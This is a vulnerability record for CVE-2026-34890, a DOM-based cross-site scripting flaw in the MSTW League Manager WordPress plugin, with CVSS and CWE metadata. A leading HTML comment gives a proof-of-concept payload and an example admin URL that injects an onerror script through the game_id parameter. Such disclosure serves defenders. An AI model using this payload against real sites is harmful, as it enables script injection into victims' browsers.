CVE-2026-34890

<!-- // PoC for DOM-Based XSS in MSTW League Manager // The vulnerability allows executing arbitrary JavaScript via unsanitized input. // Step 1: Identify the vulnerable parameter reflected in the DOM (e.g., 'team_id' or 'schedule_id'). // Step 2: Construct the payload. Payload: "><img src=x onerror=alert('CVE-2026-34890_PoC')> // Full URL Example: // http://target-site.com/wp-admin/admin.php?page=mstw_lm_games&game_id="><img src=x onerror=alert(1)> // When the victim loads the page, the script executes via the DOM sink. -->

{"cve": {"id": "CVE-2026-34890", "sourceIdentifier": "[email protected]", "published": "2026-04-02T13:16:26.207", "lastModified": "2026-04-24T18:08:35.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Mark O’Donnell MSTW League Manager allows DOM-Based XSS.This issue affects MSTW League Manager: from n/a through 2.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/mstw-league-manager/vulnerability/wordpress-mstw-league-manager-plugin-2-10-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}